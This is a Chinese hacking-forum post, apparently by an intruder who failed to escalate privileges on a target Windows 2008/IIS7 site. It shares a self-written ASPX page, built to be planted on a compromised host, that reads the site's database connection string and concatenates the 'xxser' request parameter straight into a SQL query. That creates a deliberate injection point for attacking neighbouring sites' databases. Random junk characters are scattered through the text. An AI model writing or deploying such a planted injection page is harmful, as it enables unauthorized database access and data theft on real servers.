昨天跟4z1看一个站点,提权很难提,看了整整5个小时,无果。 2008+iis7,无sa,无root,无各种服务。。。: k& `0 w% i4 }# a
其实中用到了aspx构造注射来跨站,网上找了一堆代码,没一个能用的。
* {% B+ ^/ a: _3 {( @代码量不多,自己写个拉倒了。烦死了。, S0 X" V" R( {9 K
( A. O! F2 [5 B, K( n* Y
+ M9 \# N% v6 c<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">7 R, u3 H5 d, x E6 } i8 ~# o( K
<html xmlns="http://www.w3.org/1999/xhtml">9 e+ S" Q& ^: k) g5 ]: \8 E3 r
<head runat="server">5 L- [( x0 {( j1 G. @" D! T
<title>暗影aspx构造注射专用页面</title>/ U9 o0 i. Y( f' }) E b
</head>
" ?4 j7 V& M! i8 z3 b8 c2 |1 T<body>! |% D+ y; A7 W! U% @
<form id="form1" runat="server">* g, }( X7 b: p c
<div>1 E; t) U8 q% w0 A8 {4 I
<script language="c#" runat="server">
2 P" S2 ~- O! c/ ^, U9 p/ E
3 X' Q1 E( ]2 y% m$ v5 A; B6 d void page_init(object sender, EventArgs e)5 d/ ]; g8 v% P& k) l. v
{
) O$ f; h* C5 }6 [
& I8 P7 ^( G7 [) t0 X9 K3 } System.Data.SqlClient.SqlConnection conn = new System.Data.SqlClient.SqlConnection();5 ^* D# D ~2 H. _; y5 p9 y; W! |
. ~" A+ V' X; |: ?' P2 x( J+ k! T2 z1 ^1 e
conn.ConnectionString = ConfigurationManager.ConnectionStrings["连接名"].ToString();+ Q. K4 g5 p2 ~: z' l; E: Z" \! J
conn.Open();: [3 H$ K3 S4 m8 m; G
+ I% H! d! b8 C2 W, c string i = this.Page.Request.Params["xxser"]; //这里是参数?xxser=1
$ J4 n, G6 L& w- ]7 m* I 6 w/ R% r1 N5 O+ G2 E6 y' X
System.Data.SqlClient.SqlCommand command = new System.Data.SqlClient.SqlCommand("select * from [表] where 列名= " + i, conn);
g {% [7 o3 G4 _3 b0 Z int x = command.ExecuteNonQuery();- Z. L; G" \9 ~
Response.Write(i+"\n");( l1 Y$ X$ P; J( V5 M7 M
Response.Write(x);
6 ]( ^9 t6 M7 \, U1 K7 B6 v3 x conn.Close();1 W0 @! X6 N$ E# W, M5 d8 O
}1 D1 u5 W) P3 d, @$ V2 h" q
' x* Z0 I6 g6 ]$ m; |. k e
</script>3 ?; {& S+ I4 j9 |! o' x8 M7 q- ^
</div>5 T# u8 I: k+ Y
</form>
/ p" h8 s# S" j/ N</body>
% T9 O; u0 I8 h% H9 G/ W8 W/ s+ z</html>( L' a5 {4 n3 g! D1 o; K& v
|